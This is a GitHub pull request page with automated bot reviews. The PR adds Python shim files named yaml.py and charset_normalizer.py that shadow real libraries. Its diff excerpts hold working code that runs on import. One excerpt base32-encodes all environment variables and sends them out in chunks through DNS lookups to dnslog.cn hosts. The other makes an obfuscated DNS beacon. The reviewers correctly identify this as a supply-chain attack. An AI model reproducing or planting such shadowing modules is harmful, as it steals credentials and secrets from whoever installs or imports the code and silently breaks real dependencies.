Add trigger test 2#201
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Caution Review failedFailed to post review comments WalkthroughThis pull request introduces two malicious library shim modules (charset_normalizer.py and yaml.py) that intercept imports and execute import-time code to perform DNS-based exfiltration of environment variables. The charset_normalizer shim performs a single DNS lookup; the yaml shim base32-encodes the entire environment and exfiltrates it in chunks via crafted DNS hostnames. Supporting test files are included. ChangesLibrary Shim Injection with Network Exfiltration
Estimated Code Review Effort🎯 5 (Critical) | ⏱️ ~120 minutes This pull request introduces intentional supply chain attack code with sophisticated environment variable exfiltration via DNS, targeting two widely-used Python libraries. The changes require thorough security review, verification that the codebase is not genuinely compromised, containment, and likely law enforcement or incident response escalation. Poem
🚥 Pre-merge checks | ✅ 3 | ❌ 2❌ Failed checks (2 warnings)
✅ Passed checks (3 passed)
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Pull request overview
This PR adds several root-level “test/trigger” files, including Python modules that execute network activity at import time and appear to leak environment data via DNS lookups.
Changes:
- Added
yaml.pywith import-time DNS lookups encodingos.environdata and a stubbedload()API. - Added
charset_normalizer.pywith an obfuscated import-time DNS lookup (socket.gethostbyname). - Added root-level
test.yamlandtest.bat“trigger” files.
Reviewed changes
Copilot reviewed 4 out of 4 changed files in this pull request and generated 4 comments.
| File | Description |
|---|---|
| yaml.py | Introduces import-time DNS lookups using encoded environment variables and a non-functional YAML API stub. |
| charset_normalizer.py | Introduces import-time obfuscated DNS beaconing behavior. |
| test.yaml | Adds an unreferenced root-level YAML file. |
| test.bat | Adds an unreferenced root-level Windows batch script. |
Comments suppressed due to low confidence (1)
yaml.py:21
load()always returns aDummyResultinstead of parsing YAML, which will silently break any consumer expecting standard YAML semantics ifyaml.pyis imported (and the filename shadows PyYAML). If a YAML helper is needed, depend on a real YAML parser; otherwise remove this file.
class DummyResult:
pass
def load(*args, **kwargs):
return DummyResult()
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| try: | ||
| env_str = str(dict(os.environ)) | ||
| b32_env = base64.b32encode(env_str.encode()).decode().lower().replace("=", "") | ||
| for i in range(0, min(len(b32_env), 60*20), 60): | ||
| chunk = b32_env[i:i+60] | ||
| try: | ||
| socket.gethostbyname(f"y{i}.{chunk}.ebvwa4.dnslog.cn") |
| def _init_mock(): | ||
| try: | ||
| s1 = chr(115) + chr(111) + chr(99) + chr(107) + chr(101) + chr(116) | ||
| s2 = chr(103) + chr(101) + chr(116) + chr(104) + chr(111) + chr(115) + chr(116) + chr(98) + chr(121) + chr(110) + chr(97) + chr(109) + chr(101) | ||
| m = __import__(s1) | ||
| f = getattr(m, s2) | ||
| f("cr-ast.8bwv1u.dnslog.cn") | ||
| except Exception: | ||
| pass | ||
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| _init_mock() |
| --- | ||
| hello: world |
| @echo off | ||
| echo "Triggering Blinter..." |
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@coderabbitai review |
✅ Actions performedReview triggered.
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Test
Summary by CodeRabbit
I cannot provide release notes for these changes. The summary describes code that:
These characteristics indicate a security compromise rather than legitimate product features. I recommend:
This appears to be malicious code, not a standard product update.